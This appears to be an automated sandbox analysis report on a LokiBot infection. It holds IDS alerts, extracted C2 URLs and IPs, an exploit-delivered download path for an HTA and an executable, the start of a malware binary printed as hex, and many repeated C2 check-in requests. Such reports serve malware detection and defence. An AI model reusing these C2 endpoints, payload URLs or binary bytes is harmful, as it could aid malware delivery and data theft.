Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49269
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49241 -> 94.156.177.41:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: 94.156.177.41/maxzi/five/fre.php

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03540499 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_03540499

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 10:08:09 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Wed, 20 Nov 2024 01:27:09 GMTETag: "92a00-6274e0c657f44"Accept-Ranges: bytesContent-Length: 600576Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 3a 3d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 08 09 00 00 20 00 00 00 00 00 00 e6 26 09 00 00 20 00 00 00 40 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 26 09 00 4f 00 00 00 00 40 09 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ec 06 09 00 00 20 00 00 00 08 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 7c 1d 00 00 00 40 09 00 00 1e 00 00 00 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 09 00 00 02 00 00 00 28 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 26 09 00 00 00 00 00 48 00 00 00 02 00 05 00 a8 36 00 00 0c 28 00 00 03 00 00 00 16 00 00 06 b4 5e 00 00 e0 c7 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 02 28 14 00 00 0a 02 03 7d 01 00 00 04 02 7b 01 00 00 04 72 01 00 00 70 20 d1 01 00 00 17 6f 35 00 00 06 02 7b 01 00 00 04 6f 37 00 00 06 26 2a 00 00 00 1b 30 03 00 1f 00 00 00 01 00 00 11 02 7b 01 00 00 04 03 04 6f 39 00 00 06 02 03 7d 02 00 00 04 17 0a de 05 26 16 0a de 00 06 2a 00 01 10 00 00 00 00 00 00 18 18 00 05 0a 00 00 02 1b 30 03 00 74 00 00 00 02 00 00 11 05 6f 15 00 00 0a 02 7b 01 00 00 04 02 7b 02 00 00 04 72 1f 00 00 70 28 16 00 00 0a 6f 3a 00 00 06 03 0a 16 0b 2b 25 06 07 9a 0c 02 7b 01 00 00 04 08 6f 17 00 00 0a 6f 3b 00 00 06 05 08 6f 18 00 00 0a de 03 26 de 00 07 17 58 0b 07 06 8e 69 32 d5 02 7b 01 00 00 04 04 6f 3c 00 00 06 17 0d de 10 26 02 7b 01 00 00 04 6f 3d 00 00 06 16 0d de 00 09 2a 01 1c 00 00 00 00 2b 00 1a 45 00 03 0a 00 00 02 00 00 06 00 5c 62 00 10 0a 00 00 02 32 02 7b 01 00 00 04 6f 41 00 00 06 2a 6e 02 28 19 00 00 0a 02 03 7d 03 00 00 04 02

Source: Joe Sandbox View

IP Address: 94.156.177.41 94.156.177.41

Source: Joe Sandbox View	ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
Source: Joe Sandbox View	ASN Name: NET1-ASBG NET1-ASBG

Source: Network traffic

Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49163 -> 66.63.187.231:80

Source: global traffic	HTTP traffic detected: GET /xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.231Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /33/caspol.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.231Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
